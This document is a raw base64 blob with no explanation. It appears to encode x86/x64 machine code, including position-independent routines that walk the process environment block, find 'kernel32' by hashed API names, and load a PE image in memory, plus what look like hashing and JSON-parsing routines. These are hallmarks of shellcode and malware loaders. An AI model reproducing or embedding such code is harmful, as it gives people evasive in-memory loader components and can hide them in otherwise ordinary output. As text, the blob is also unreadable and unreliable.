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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4NAAAAAAAAAAAAIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKhEAAB4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE4AACQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApDsAAAAEAAAAPAAAAAQAAAAAAAAAAAAAAAAAACAAAOAAAAAAAAAAAOABAAAAQAAAAAIAAABAAAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAABSCwAAAEIAAAAMAAAAQgAAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAJAAAAABOAAAAAgAAAE4AAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA